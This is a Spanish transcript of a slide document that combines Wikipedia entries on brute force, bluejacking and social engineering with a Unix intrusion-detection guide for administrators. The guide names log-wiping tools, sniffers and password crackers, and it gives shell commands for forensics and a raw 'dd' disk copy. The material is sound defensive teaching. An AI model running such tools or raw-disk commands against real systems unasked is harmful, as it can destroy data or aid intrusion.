Ataque de fuerza bruta

43
Ataque de fuerza bruta De Wikipedia Saltar a navegación , búsqueda En criptografía , se denomina ataque de fuerza bruta a la forma de recuperar una clave probando todas las combinaciones posibles de caracteres hasta encontrar aquella que permite el acceso. También se define al procedimiento en el que a partir del conocimiento del algoritmo de cifrado empleado y de un par texto plano /texto cifrado , probando el cifrado (respectivamente, descifrado) de uno de los miembros del par con cada una de las posibles combinaciones de clave, hasta obtener el otro miembro del par. El esfuerzo requerido para que la búsqueda sea exitosa con probabilidad mejor que la par será 2 n − 1 operaciones, donde n es la longitud de la clave (también conocido como el espacio de claves). Otro factor determinante en el coste de realizar un ataque de fuerza bruta es el juego de caracteres que se pueden utilizar en la clave. Contraseñas que sólo utilicen dígitos numéricos serán más fáciles de descifrar que aquellas que incluyen otros caracteres como letras. Los ataques por fuerza bruta, dado que utilizan el método de prueba y error, son muy costosos en tiempo computacional. Ejemplo 1: El algoritmo DES (Data Encryption Standard) utiliza claves de 56 bits de longitud. Para quebrar por fuerza bruta un cifrado con DES se requerirán 2 55 operaciones. Bluejacking De Wikipedia Saltar a navegación , búsqueda

Transcript of Ataque de fuerza bruta

Page 1: Ataque de fuerza bruta

Ataque de fuerza brutaDe Wikipedia

Saltar a navegación, búsqueda

En criptografía, se denomina ataque de fuerza bruta a la forma de recuperar una clave probando todas las combinaciones posibles de caracteres hasta encontrar aquella que permite el acceso.

También se define al procedimiento en el que a partir del conocimiento del algoritmo de cifrado empleado y de un par texto plano/texto cifrado, probando el cifrado (respectivamente, descifrado) de uno de los miembros del par con cada una de las posibles combinaciones de clave, hasta obtener el otro miembro del par. El esfuerzo requerido para que la búsqueda sea exitosa con probabilidad mejor que la par será 2n − 1 operaciones, donde n es la longitud de la clave (también conocido como el espacio de claves).

Otro factor determinante en el coste de realizar un ataque de fuerza bruta es el juego de caracteres que se pueden utilizar en la clave. Contraseñas que sólo utilicen dígitos numéricos serán más fáciles de descifrar que aquellas que incluyen otros caracteres como letras.

Los ataques por fuerza bruta, dado que utilizan el método de prueba y error, son muy costosos en tiempo computacional.

Ejemplo 1: El algoritmo DES(Data Encryption Standard) utiliza claves de 56 bits de longitud. Para quebrar por fuerza bruta un cifrado con DES se requerirán 255 operaciones.

BluejackingDe Wikipedia

Saltar a navegación, búsqueda

En seguridad informática, el término bluejacking se refiere a una técnica consistente en enviar mensajes no solicitados entre dispositivos Bluetooth, como por ejemplo teléfonos móviles, PDAs o portátiles. La tecnología Bluetooth tiene un alcance limitado de unos 10 metros normalmente en dispositivos pequeños (como teléfonos móviles) aunque otros aparatos más grandes (como portátiles) con transmisores más potentes pueden alcanzar los 100 metros.

El nombre bluejacking proviene de un hombre llamado Jack. Jack estaba en un banco buscando otros dispositivos Bluetooth. Encontró un Nokia 7650 y le envió un mensaje que decía "Buy Ericsson" ("Cómprate un Ericcson"). Lo llamó bluejacking y así se conoce desde entonces.

Page 2: Ataque de fuerza bruta

Hay quien piensa que el término bluejacking viene de Bluetooth y "hijacking". Aunque suena lógico un bluejacker no intercepta nada: únicamente utiliza una característica en su dispositivo, y en el del receptor. Ambas partes mantienen el control absoluto sobre su dispositivo, y el bluejacker no puede hacer nada, ni siquiera ver la información personal contenida.

Bluejacking es bastante inofensivo, pero como mucha gente no sabe qué ocurre piensan que su teléfono móvil tiene un virus o necesita ser exorcizado. Normalmente un bluejacker sólo enviará un mensaje de texto, aunque en los modelos de teléfonos más recientes es posible enviar también imágenes y sonido.

Actualmente hay varios programas utilizados para esta practica, aunque el que más utilizado es el mobiluck

Ingeniería social (seguridad informática)De Wikipedia

Saltar a navegación, búsquedaPara ver un concepto similar en una disciplina diferente vea Ingeniería social (ciencias políticas).

En el campo de la seguridad informática, ingeniería social es la práctica de obtener información confidencial a través de la manipulación de usuarios legítimos. Un ingeniero social usará comunmente el teléfono o Internet para engañar a la gente y llevarla a revelar información sensible, o bien a violar las políticas de seguridad típicas. Con este método, los ingenieros sociales aprovechan la tendencia natural de la gente a confiar en su palabra, antes que aprovechar agujeros de seguridad en los sistemas informáticos. Generalmente se está de acuerdo en que “los usuarios son el eslabón débil” en seguridad; éste es el principio por el que se rige la ingeniería social.

Un ejemplo contemporáneo de un ataque de ingeniería social es el uso de archivos adjuntos en e-mails que ejecutan código malicioso (por ejemplo, usar la máquina de la víctima para enviar cantidades masivas de spam). Ahora, luego de que los primeros e-mails maliciosos llevaron a los proveedores de software a deshabilitar la ejecución automática de archivos adjuntos, los usuarios deben activar los archivos adjuntos de forma explícita para que ocurra una acción maliciosa. Muchos usuarios, sin embargo, cliquean ciegamente cualquier archivo adjunto recibido, concretando de esta forma el ataque.

Quizá el ataque más simple que aún es efectivo sea engañar a un usuario llevándolo a pensar que uno es un administrador del sistema y solicitando una contraseña para varios propósitos. Los usuarios de sistemas de Internet frecuentemente reciben mensajes que solicitan contraseñas o información de tarjeta de crédito, con el motivo de "crear una cuenta", "reactivar una configuración", u otra operación benigna; a este tipo de ataques

Page 3: Ataque de fuerza bruta

se los llama phishing (pesca). Los usuarios de estos sistemas deberían ser advertidos temprana y frecuentemente para que no divulguen contraseñas u otra información sensible a personas que dicen ser administradores. En realidad, los administradores de sistemas informáticos raramente (o nunca) necesitan saber la contraseña de los usuarios para para llevar a cabo sus tareas. Sin embargo incluso este tipo ataque podría no ser necesario — en una encuesta realizada por la empresa InfoSecurity, el 90% de los empleados oficinistas reveló sus contraseñas a cambio de un bolígrafo barato.

Tal vez el ataque de ingeniería social a mayor escala de años recientes sea el que rodea a Messenger Plus!; para recaudar dinero con el software, su autor, Patchou, incluyó un adware de C2Media dentro del programa. Mientras que el acuerdo con el sponsor brinda la opción de instalar Messenger PLus! sin el adware, la vasta mayoría de los usuarios simplemente cliquean su aceptación del acuerdo, y por lo tanto instalan el adware innecesariamente.

La ingeniería social también se aplica al acto de manipulación cara a cara para obtener acceso a los sistemas computacionales.

Entrenar a los usuarios en el uso de políticas de seguridad y asegurarse de que son seguidas es la principal defensa contra la ingeniería social.

Uno de los ingenieros sociales más famosos de los últimos tiempos es Kevin Mitnick.

[editar]

Referencias

John Leyden, 18 de abril de 2003. Office workers give away passwords for a cheap pen (Oficinistas revelan contraseñas) (en inglés). The Register.

Kevin D. Mitnick , William L. Simon, Steve Wozniak. The Art of Deception: Controlling the Human Element of Security. John Wiley & Sons, 2002. ISBN 0471237124.

SirRoss, 19 de enero, 2005. A Guide to Social Engineering, Volume 1 A Guide to Social Engineering, Volume 2. AstaLavista.

[editar]

Enlaces externos

Social Engineering Fundamentals

Obtenido de "http://es.wikipedia.org/wiki/Ingenier%C3%ADa_social_%28seguridad_inform%C3%A1tica%29"

Detección de intrusos

Page 4: Ataque de fuerza bruta

SISTEMAS DE DETECCIÓN DE INTRUSOS

Existen numerosas medidas de seguridad para proteger los recursos informáticos de una empresa, pero aunque se sigan todas las recomendaciones de los expertos, no estaremos libres de posibles ataques con éxito. Esto se debe a que conseguir un sistema virtualmente invulnerable es sumamente costoso, además de que las medidas de control reducirían la productividad de la empresa Dentro de las soluciones tecnológicas que en la actualidad están disponibles para reforzar la seguridad de una red, los firewalls son muy populares. Un firewall es un sistema encargado del cumplimiento de las políticas de control de acceso a la red, lo cual se hace a través de reglas. Un firewall actúa como guardia perimetral de una red: protege una red de ataques que provengan del exterior de ésta. Pero el escenario se puede complicar de la siguiente forma: 1. Un atacante puede lograr pasar el firewall, dejando la red a su merced. 2. Un firewall protege de los accesos no autorizadas hacia la red interna, pero no protege a las máquinas ubicadas en la red perimetral como servidores web, servidores de correo, servidores FTP, en otras palabras, a las bases funcionales de Internet. 3. Un firewall no protege contra ataques desde adentro.

En estos casos lo que nos queda detectar el ataque o la intrusión lo antes posible para que cause el menor daño en el sistema. Antes de continuar vamos a definir qué se entiende normalmente por intrusión. Normalmente un intruso intenta: " Acceder a una determinada información. " Manipular cierta información. " Hacer que el sistema se no funcione de forma segura o inutilizarlo.

Una intrusión es cualquier conjunto de acciones que puede comprometer la integridad, confidencialidad o disponibilidad de una información o un recurso informático. Los intrusos pueden utilizar debilidades y brechas en la arquitectura de los sistemas y el conocimiento interno del sistema operativo para superar el proceso normal de autenticación. La detección de intrusos se puede detectar a partir de la caracterización anómala del comportamiento y del uso que hacen de los recursos del sistema. Este tipo de detección pretende cuantificar el comportamiento normal de un usuario. Para una correcta distinción hay que tener en cuenta las tres distintas posibilidades que existen en un ataque, atendiendo a quién es el que lo lleva a cabo: " Penetración externa. Que se define como la intrusión que se lleva a cabo a partir un usuario o un sistema de computadores no autorizado desde otra red. " Penetraciones internas. Son aquellas que llevan a cabo por usuarios internos que no están autorizados al acceso. " Abuso de recursos. Se define como el abuso que un usuario lleva a cabo sobre unos datos o recursos de un sistema al que está autorizado su acceso.

La idea central de este tipo de detección es el hecho de que la actividad intrusiva es un subconjunto de las actividades anómalas. Esto puede parecer razonable por el hecho de que si alguien consigue entrar de forma ilegal en el sistema, no actuará como un usuario normal. Sin embargo en la mayoría de las ocasiones una actividad intrusiva resulta del agregado de otras actividades individuales que por sí solas no constituyen un comportamiento intrusivo de ningún tipo. Idealmente el conjunto de actividades anómalas es el mismo del conjunto de actividades intrusivas, de todas formas esto no siempre es así: 1. Intrusivas pero no anómalas. Se les denomina falsos negativos y en

Page 5: Ataque de fuerza bruta

este caso la actividad es intrusiva pero como no es anómala y no se consigue detectarla. Se denominan falsos negativos porque el sistema erróneamente indica ausencia de intrusión. 2. No intrusivas pero anómalas. Se denominan falsos positivos y en este caso la actividad es no intrusiva, pero como es anómala el sistema decide que es intrusiva. Se denominan falsos positivos, porque el sistema erróneamente indica la existencia de intrusión. 3. Ni intrusiva ni anómala. Son negativos verdaderos, la actividad es no intrusiva y se indica como tal. 4. Intrusiva y anómala. Se denominan positivos verdaderos, la actividad es intrusiva y es detectada.

Los primeros no son deseables, porque dan una falsa sensación de seguridad del sistema y el intruso en este caso puede operar libremente en el sistema. Los falsos positivos se deben de minimizar, en caso contrario lo que puede pasar es que se ignoren los avisos del sistema de seguridad, incluso cuando sean acertados. Los detectores de intrusiones anómalas requieren mucho gasto computacional, porque se siguen normalmente varias métricas para determinar cuánto se aleja el usuario de lo que se considera comportamiento normal. Hoy día existen en el mercado una buena cantidad de productos conocidos como SDI (Sistemas de Detección de Intrusos) o en inglés IDS (Intrusión Detection System). Estos sistemas basan su funcionamiento en la recolección y análisis de información de diferentes fuentes, que luego utilizan para determinar la posible existencia de un ataque o penetración de intrusos. En caso de que exista la suficiente certeza de la detección de un incidente, el SDI tiene como función principal alertar al administrador o personal de seguridad, para que tome acciones al respecto. Otras implementación más complejas son capaces de ir más allá de la notificación de un posible ataque, es decir pueden ejecutar acciones automáticas que impidan el desarrollo de éste.

Clasificación de los SDI Los SDI pueden clasificarse en base a varios aspectos: método de detección, tipo de monitoreo y forma de recolección y análisis de la información. Según el método de detección, los hay de detección de mal uso y detección de anomalías. El modelo de detección de mal uso consiste en observar cualquier proceso que intente explotar los puntos débiles de un sistema en específico. Las diferentes acciones, que integran el mencionado proceso, comúnmente se denominan patrones o firmas del ataque. Estas firmas pueden ser simples, como cadenas de caracteres, estructuras de memoria o bits, pero también pueden ser más complejas como vectores ó expresiones matemáticas. Una ventaja de este método es que permite centralizar las labores de detección en el conjunto de firmas que posee el SDI, minimizando así, la carga de procesamiento del sistema. Muchos productos comerciales utilizan este enfoque e inclusive periódicamente proporcionan actualizaciones de éstas firmas. En cambio, el modelo de detección de anomalías se basa en constantemente monitorear el sistema para así detectar cualquier cambio en los patrones de utilización o el comportamiento del mismo. Si algunos de los parámetros monitoreados sale de su regularidad, el sistema generará una alarma que avisará al administrador de la red sobre la detección de una anomalía. Este tipo de detección es bastante compleja, debido a que la cuantificación de los parámetros a observar no es sencilla y a raíz de esto, se pueden presentar los siguientes inconveniente: " Pueden generarse falsas alarmas si el ambiente cambia repentinamente, por ejemplo, cambio en el horario de trabajo. " Un atacante puede ir cambiando lentamente su comportamiento para así engañar al sistema.

Los inconvenientes antes mencionados pueden ser controlados mediante una implementación robusta y minuciosa.

Page 6: Ataque de fuerza bruta

Según el tipo de monitoreo, hay SDI con detección orientada al host o detección orientada a la red. El modelo orientado al host se basa en el monitoreo y análisis de información, que refleja el estado del host donde éste reside. La mayoría de la información que este tipo de sistema recopila es obtenida a través del sistema operativo del host. Esto último causa complicaciones debido a que la información que se procesa no contiene registros del comportamiento, de bajo nivel, de la red. Los SDI que utilizan el modelo orientado a red, fundamentan su monitoreo en información recolectada de la red. Generalmente, ésta información es capturada mediante mecanismos de "sniffing". El "sniffing" consiste en habilitar la interfaz de red en modo promiscuo para que así capture todos los paquetes que reciba, incluso aquellos que no le han sido destinados. En base al mecanismo antes expuesto, se pueden definir patrones o firmas de ataques, según la estructura, información y ocurrencia de los paquetes.

Características deseables de un SDI 1. Debe ejecutarse continuamente sin intervención o supervisión de un operador humano. 2. Debe ser confiable, lo suficiente como para ejecutarse en background, pero no debe ser una caja negra, es decir, que su funcionamiento interno pueda ser examinado. 3. Debe ser capaz de tolerar fallas, en el sentido de que pueda sobrevivir a una caída del sistema, sin tener que reconstruir su base de datos de conocimientos al reiniciarse. 4. El sistema debe estar en capacidad de automonitorearse para asegurar su correcto funcionamiento. 5. Debe ser ligero, es decir su ejecución no debe cargar al sistema de una manera tal que le impida ejecutar otras tareas con relativa normalidad 6. Debe observar desviaciones del comportamiento estándar. 7. Debe poder adaptarse al comportamiento cambiante del sistema, es decir, si la configuración del sistema cambia, el SDI se adaptará. 8. Debe ser difícil de engañar.

METODOLOGÍA PARA LA DETECCIÓN DE INTRUSOS

Y PARA LA SELECCIÓN E IMPLANTACIÓN DE SISTEMAS IDS

1. Introducción La labor de un administrador o de la persona encargada de la seguridad de un sistema informático puede ser realmente frustrante. Sobre todo cuando el sistema a sido invadido por un intruso o hacker. En principio, si se ha configurado correctamente un servidor y se está al día en materia de seguridad, así como de fallas (bugs) que van surgiendo, no habrá problemas de que un intruso entre en el sistema. Realmente con un poco de esfuerzo se puede tener un servidor altamente seguro que evitará alrededor del 85% de los intentos de acceso no autorizados alo sistema. Pero en muchas ocasiones el peligro viene de los propios usuarios internos del sistema, los cuales presentan un gran riesgo debido a que ya tiene acceso al sistema.

2. Pasos a seguir para detectar a un intruso Lo primero que debemos hacer es seguir una serie de pasos los cuales nos ayudarén a descubrir si realmente ha entrado un intruso, ya que en muchas ocasiones pensamos que ha entrado alguien, pero no es cierto. Por eso, ante todo calma; esto es lo más importante para un buen administrador. Realmente en muchas ocasiones es fácil detectar a un intruso en ambiente Unix, ya que suelen seguir un patrón detectable, el cual podría ser el mostrado en la figura. Este esquema representa básicamente los pasos que sigue de un intruso: Primero entra al sistema, y si sólo tiene acceso como usuario, explotará alguna debilidad o falla del sistema para así obtener ID 0 (o lo que es lo mismo, privilegios de root). En caso de entrar como root u

Page 7: Ataque de fuerza bruta

obtenerlo de alguna otra manera, se dedicará a controlar el sistema, dejando algún mecanismo para volver cuando quiera. Seguramente copiará el archivo /etc/passwd y el /etc/shadow (en caso de que el sistema use "shadow"), luego le dará rienda suelta a su imaginación, como por ejemplo, instalar un sniffer, troyanos, leer mails ajenos, etc. Y en caso de ser un pirata malicioso puede causar desastres en el sistema, como sería modificar páginas web, borrar archivos o mails, producir un DoS (Denial of Service), cambiar passwords de usuarios legítimos, etc.

Fig. 1

A continuación se exponen los diferentes pasos a seguir de acuerdo a los expertos en seguridad como son el CERT, ISS, etc. Esto son los pasos a seguir del CERT (http://www.cert.org): 1. Examinar los archivos log como el 'last' log, contabilidad, syslog, y los C2 log buscando conexiones no usuales o cosas sospechosas en el sistema. Aunque hay que tener especial cuidado en guiarnos por los logs, ya que muchos intrusos utilizaran diversas herramientas para borrar sus huellas. 2. Buscar por el sistema archivos ocultos o no usuales (archivos que empiezan por un '.' (punto), no salen con un simple 'ls'), ya que pueden ser usado para esconder herramientas para violar la seguridad del sistema, por ejemplo un crackeador o incluso contener el /etc/passwd del sistema o de otros sistemas al cual ha entrado nuestro intruso. Muchos piratas suelen crear directorios ocultos utilizando nombres como '...' (punto-punto-punto), '..' (punto-punto), '..^g' (punto-punto control+G). En algunos casos un pirata ha utilizado nombres como '.x' o '.hacker' o incluso '.mail'. 3. Buscar archivos SET-UID por el sistema. Ya que en muchas ocasiones los piratas suelen copiar y dejar escondido copias del /bin/sh para obtener root. Podemos utilizar la orden 'find' para buscar este tipo de archivos por el sistema (la orden 'find' puede ser sustituido por un troyano para esconder archivos del pirata, por lo que no es totalmente confiable), para ello ejecutamos la siguiente línea:

1. find / -user root -perm -4000 -print

4. Revisar los archivos binarios del sistema para comprobar que no han sido sustituidos por un troyano, como por ejemplo los programas 'su', 'login', 'telnet' y otros programas vitales del sistema. (Existen varias herramientas conocidas como 'RootKit' que permite a un pirata cambiar los binarios del sistema por troyanos que son copias exactas de los originales). Lo recomendado es comparar con las copias de seguridad aunque puede que las copias de seguridad también hayan sido sustituidas por un troyano. 5. Examinar todos los archivos que son ejecutados por 'cron' y 'at'. Ya que algunos piratas depositan puertas traseras que le permiten volver al sistema aunque los hayamos echado del sistema. Asegurarse que todos los archivos son nuestros y no tienen permiso de escritura. 6. Examinar el archivo /etc/inetd.conf en busca de cambios, en especial aquellas entradas que ejecuten un shell (por ejemplo: /bin/sh o /bin/csh) y comprobar que todos los programas son legítimos del sistema y no troyanos. 7. Examinar los archivos del sistema y de configuración en busca de alteraciones. En particular, buscar entradas con el signo '+' o 'host names' no apropiados en archivos como /etc/hosts.equiv, /etc/hosts.lpd y en todos los archivos .rhost del sistema, con especial interés los de 'root', 'uucp', 'ftp' y otras cuentas del sistema. Estos archivos no deberían tener atributo de escritura. 8. Examinar cuidadosamente todos los computadores de nuestra red local en

Page 8: Ataque de fuerza bruta

busca de indicios que nuestra red ha sido comprometida. En particular, aquellos sistemas que compartan NIS+ o NFS, o aquellos sistemas listados en el /etc/hosts.equiv. Logícamente también revisar los sistemas informéticos que los usuarios comparten mediante el acceso del .rhost. 9. Examinar el archivo /etc/passwd, en busca de alteraciones en las cuentas de los usuarios o la creación de cuentas nuevas, especialmente aquellas cuentas con ID 0, las que no tienen password, etc.

Estos nueve puntos son los pasos a seguir recomendados por el CERT, los cuales están muy bien, pero se quedan un poco cortos de soluciones prácticas para el administrador. Para ello nos vamos a basar en un excelente trabajo de un grupo de Hackers conocidos como Technotronic (http://www.technotronic.com), los cuales se basan en el mismo documento pero explicando los métodos de los piratas y como combatirlos. Se trata de lo siguiente:

Los archivos Log: " messages: Este archivo contiene bastante información, por lo que debemos buscar sucesos poco usuales. " xferlog: Si el sistema comprometido tiene servicio FTP, este archivo contiene la bitácora de todos los procesos del FTP. Podemos examinar qué tipo de herramientas ha subido el pirata y qué archivos ha bajado de nuestro servidor. " utmp: Este archivo contiene información en binario de todos los usuarios conectados al sistema en el momento. Por lo que puede ser muy útil para determinar quién esta conectado al sistema en este momento. Para ello ejecutaremos la orden 'who' o 'w'. " wtmp: Cada vez que un usuario entra al servidor y sale del mismo, la máquina modifica este archivo. Al igual que el anterior, este archivo está en binario, por lo que tendremos que usar alguna herramienta especial para ver el contenido de este archivo. El mismo contiene la información en formato: usuario, hora de conexión, e IP origen del usuario, por lo que podemos averiguar de dónde provino el pirata. Pero aunque contemos con esta información, puede que haya sido falseada por el pirata utilizando alguna técnica para ocultar su IP original o haya borrado su entrada. " secure: Algunos sistemas Unix loggean mensajes en archivo secure, ya que utilizan algún software de seguridad para ello, como el TCP Wrapper.

Muchos piratas intentaran borrar sus huellas utilizando unos programas conocidos como 'Zapper's' o 'Zap'. Los más populares, debido a que están ampliamente disponibles por Internet, son los siguientes: " marry.c " zap.c " zap2.c " remove.c " cloak.c

Por supuesto contamos con mecanismos para detectar este tipo de programas, lo cual se explica en la sección de herramientas. Debemos buscar cuidadosamente archivos SETUID o SETGID (especialmente aquellos archivos SETUID de root). Para ello podemos utilizar, otra vez, la orden 'find' y escribimos lo siguiente:

1. find / -group kmen -perm -2000 -print

o

1. find / -user root -perm -4000 -print -xdev

incluso

1. ncheck -s /dev/rsd0g

Page 9: Ataque de fuerza bruta

Esta última orden 'ncheck' nos permitirá buscar archivos SETUID por las particiones.

Debemos buscar troyanos en nuestros archivos binarios, ya que suele ser una de las tareas principales de un pirata cuando ha comprometido la seguridad de un servidor. Una lista no exhaustiva de posibles binarios que un pirata puede sustituir, es la siguiente: login " su " telnet " netstat " ifconfig " ls " find " du " df " libc " sync

Así como los binarios listados en /etc/inetd.conf.

Al igual que antes, tenemos varias utilidades ampliamente disponibles para detectar estos troyanos, pero por otro lado, los piratas también tienen ampliamente disponible estos paquetes de troyanos, conocidos como 'RootKit', como ya mencionamos antes. Otras de las principales tareas de un pirata consiste en la utilización de sniffers, para capturar información confidencial. Los más usados son los siguientes: " linsniff666.c " esniff.c " solsniff.c " sunsniff.c " sniffit

Ahora nos enfocaremos en la parte de los passwords. Un pirata intentará por todos los medios obtener el archivo de passwords, para luego usar un programa especial que le permitirá averiguar los passwords de los usuarios. Los principales 'crackeadores' son: " Crack " John The Ripper 1.5 " Cracker Jack " Hades

Ya hemos visto diferentes técnicas que emplearan los piratas contra nuestro sistema, por lo que ahora estamos mejor preparados para enfrentarnos a ellos. A continuación nos enfocaremos de forma más practica a los diferentes pasos a seguir cuando hemos detectado un pirata. Si hemos pillado al intruso en el momento, tenemos varias opciones:

A) Hablar con él, usando la orden 'talk', aunque debemos tener en cuenta que puede contestar de forma amistosa (ayudandonos en relación a la seguridad del sistema) o agresiva (borrando el sistema para no dejar rastro).

B) Desconectarle del sistema, usando la orden 'kill', pero para evitarnos que vuelva a entrar, antes de usar 'kill', usaremos la orden 'passwd' para cambiar el password de la cuenta por el cual el pirata entró. Por ejemplo, podemos ejecutar las siguientes órdenes:

1. ps -aux

USER PID %CPU %MEN VSIZE RSIZE TT STAT TIME COMMAND ROOT 1434 20.1 1.4 968K 224K 01 R 0:00 ps aux intruso 147 1.1 1.9 1.02K 304k p3 S 0:07 ~ (csh) intruso 321 10.0 8.7 104k 104k P3 S 0:09 cat /etc/passwd intruso 339 8.0 3.7 2.05K 456k P3 S 0:09 crack

1. passwd intruso

Changing password for intruso New password: noentrasmas Retype new password: noentrasmas

1. kill -9 147 321 339

Page 10: Ataque de fuerza bruta

C) Utilizar las utilidades del sistema para recopilar información sobre el pirata, la cual será necesaria en caso de denuncia. Por lo que trataremos de 'tracearle', usando las siguientes órdenes: " who " w " last " lastcomm " netstat " snmpnetstat " Obtener información del router. " Examinar el archivo /var/adm/messages. " Examinar el syslog. " Examinar los log del wrapper. " Ejecutar la orden 'finger' en todos los usuarios locales, para comprobar cuando fue la última vez que estuvieron en el sistema. " Examinar los archivos history del shell, como el .history, .rchist y archivos similares.

D) Ejecutando la orden 'finger', intentaremos sacar información del host de donde provino el ataque, como por ejemplo:

1. finger @intruso.es

o

1. finger [email protected]

Si tenemos suerte podremos obtener la información.

E) También podemos dirigirnos a Internic (http://www. internic.net) donde podemos pedir información sobre cualquier servidor en el mundo, siempre y cuando no sea militar. Allí ponemos el dominio del servidor de donde provino el ataque, y podremos ver con quién debemos ponernos en contacto con el servidor atacante. Si existe un télefono de contacto, lo mejor sería llamar a la persona encargada, ya que si enviamos un e-mail informándole que tiene un pirata, puede que el pirata intercepte el mensaje y se haga pasar por el administrador. En caso de vernos forzados a escribir un e-mail, poner cualquier pretexto para tener que hablar por teléfono con el administrador del servidor atacante, y si es necesario ofrecernos a pagar la llamada nosotros mismos, en calidad de buenas intenciones. A parte del website de Internic, también podemos conectar vía telnet para solicitar información de un servidor.

F) Ahora que tenemos bastante información del atacante, lo mejor sería desconectar nuestro servidor de Internet y dedicarnos unos días a repasar cuidadosamente lo sucedido. Además, si nadie accede al servidor durante unos días, podremos trabajar mejor y más rápido.

G) Tendremos que hacer una copia de seguridad, por lo que ejecutaremos la siguiente orden:

1. dd if=/dev/sda of=/dev/sdb

En caso de duda de cómo usar la orden 'dd', lo mejor sería recurrir a la orden 'man'.

H) Tener a mano un block de notas y un lápiz, para escribir todo lo que nos parezca importante, así como todos los pasos que estamos realizando en el sistema comprometido.

I) Ahora sólo nos queda realizar un exhaustivo análisis mediante los pasos anteriormente descritos.

Page 11: Ataque de fuerza bruta

Ya a estas alturas conocemos los peligros y pasos a seguir para recuperar el control en nuestro sistema, así cómo echar al pirata. Ahora se muestra un lista más generalizada de los puntos que hay que mirar con detalle. " Creación de cuentas nuevas o alteración de algunas existentes. " Excesivo consumo de memoria o disco duro. " Directorios o archivos sospechosos. " Alteración en la configuración del sistema. " Procesos sospechosos. " Conexiones de servidores poco usuales. " Reconfiguración de los módems. " Serie de repeticiones de conexión al mismo puerto. " Conexión de usuarios en horas o días poco usuales.

3. Diversas utilidades para la tarea Ahora nos dedicaremos a explicar las diferentes herramientas que están disponibles en el cyberespacio. Lo mejor es que casi todas son 'freeware' (gratis), por lo que no existe excusa alguna para no usarlas. Además usando habitualmente estas herramientas, mantendremos nuestro sistema seguro demostrando lo bueno que somos administrando el servidor. Las herramientas que se describen a lo largo de este apartado son anti-zapper's, detectores de sniffers, detectores de troyanos, así como diversas herramientas de análisis, e incluso algunas herramientas que también utilizan los piratas, para nuestro propio beneficio. Debido a la gran cantidad de herramientas disponibles (no he puesto todas las que existen, debido a que es imposible), no se ha incluido la utilización de las mismas, ya que este documento sería muy largo, por lo que se incluye la dirección en Internet donde encontrarlas y así poder familiarizarse con esas herramientas.

A) Detectores de Sniffers. " Podemos usar la orden 'netstat', pero no es 100% confiable. " promisc.c: Es un programa escrito en lenguaje C, el cual nos ayuda a detectar un sniffer en nuestra red. (promisc.c). " cpm (ftp://coast.cs.purdue.edu/pub/tools/unix/cpm/cpm.1.2.tar.gz). " ifstatus (ftp://coast.cs.purdue.edu/pub/tools/unix/ifstatus/ifstatus.tar.Z). " NePED: Es un detector de sniffers. (ftp://apostols.org/ AposTools/snapshots/neped/).

Muchos sniffers logean las conexiones de la misma forma, la cual es la siguiente:

-- TCP/IP LOG -- TM: Tue Nov 15 15:12:29 -- PATH: not_at_risk.domain.com(1567) => at_risk.domain.com(telnet)

por lo que fácilmente podemos escribir un pequeño shell script que busque archivos de sniffers:

% grep PATH: $sniffer_log_file | awk '{print $4}' | \ awk -F\( '{print $1}'| sort -u

Lógicamente debemos ajustar este script a nuestras necesidades.

B) Detectores de troyanos. " Podemos usar la orden 'sum' pero tampoco es 100% confiable. " También podemos usar la orden 'cmp', pero lo mismo que la orden anterior. " El popular, y más aconsejable de usar, es el programa de verificación MD5. " Otro, también bastante utilizado, es Tripwire. (Tripwire).

C) Detectores de zapper's. " Antizap.c " Antizap2.c

D) Herramientas de análisis. " Satan111: Posiblemente la herramienta más conocida. (SATAN). Extensiones. (SATAN Extensions). " TCP_Wrapper: Es un conjunto de

Page 12: Ataque de fuerza bruta

utilidades para controlar nuestro servidor. (tcp_wrappers_7.6.tar.gz). " Netcat 1.10: Para saber por dónde nos puede entrar un pirata, ya que este programa es capaz de crear cualquier tipo de conexión. (netcat 1.10 for Unix). " COPS: Otro conjunto de herramientas de muy buena calidad. (ftp://info.cert.org/pub/tools/cops). " Roses Software Check Tool V.1.2.2: Interesante herramienta de anaálisis para servidores Linux. (http://web.jet.es/~simon_roses/). " Rhino9 Security Check Tool: Interesante programa. (http://rhino9.technotronic.com). " Stalker Audit-Trail Tool: Interesante herramienta para auditar los log's. (http://www.haystack.com). " IDES/NIDES (Intrusion-Detection Expert System/Next-Generation IDES): Una herramienta de detección de piratas en tiempo real. (http://www.sri.com). " WatchDog: Herramienta para auditar los log's para SunOS. (http://www.infstream.com). " Saint (Security Analisys INtegration Tool): Herramienta en español para auditar. (http://www.super.unam.mx). " Asax (Advanced Security Audit Trail Analysis on Unix): Programa en francés. (http://www.info.fundp.ac.be/~cri/DOCS/asax.html). " Aid (Adaptive Intrusion Detection System): Herramienta en alemán. " (http://www.rnks.informatik.tucottbus.de/~sobirey/aid.e.html). " NetSuite Professional Audit: Herramienta profesional para auditar. (http://www.netsuite.com/Pi/audit.htm). " Audit Trails: Lo mismo que el anterior. (http://promatrix.com/audit.htm). " ISS SafeSuite: Potente herramienta de análisis. (http://www.iss.net). " Proyecto Nessus: Una recomendable herramienta de auditoría. (The Nessus Project). " Firewalk: Interesante t´´ecnica para analizar una red. (Enterprise Security Services, Inc.). " Lsof (List Open Files): Programa que lista todos los archivos abiertos, incluidos los sockets abiertos. (ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/). " tcplist: Lista todos los puertos abiertos que tenemos, además de suministrar diversa información más. (ftp://ftp.cdf.toronto.edu/pub/tcplist).

E) Crakeadores de passwords. " Crack V5: Posiblemente el crakeador más conocido. (Crack v5 (Source)). " John The Ripper: Un excelente crakeador. (John the Ripper 1.5 linux).

4. Bibliografía

Escamilla, Terry. Intrusion Detection: Network Security Beyond the Firewall. John Wiley & Sons, Inc. 1998.

Klander, Lars. Hacker Proof, The Ultimate Guide to Network Security. Jamsa Press. 1997.

Spafford, Gene; Garfinkel, Simson. Practical Unix & Internet Security, 2nd Edition. 0'Reilly & Associates, Inc. 1996.

Sys Admin. Unix Security, Essential Reference Series. R&D Books. 1997.

esCERT-UPC FAQ. (http://escert.upc.es).

Technotronic. (http://www.technotronic.com).

Computer-security/compromise FAQ 2.0. (http://www.iss.net).

Page 13: Ataque de fuerza bruta

Sniffer FAQ 3.0. (http://www.iss.net).

Rhino9. (http://rhino9.technotronic.com).

Simon Roses. (http://web.jet.es/~simon_roses/).

Mounji. PhD Thesis. Computer Science Institute, University of Namur, Belgium, Sept 1997. (Languages and Tools for Rule-Based Distributed Intrusion Detection).

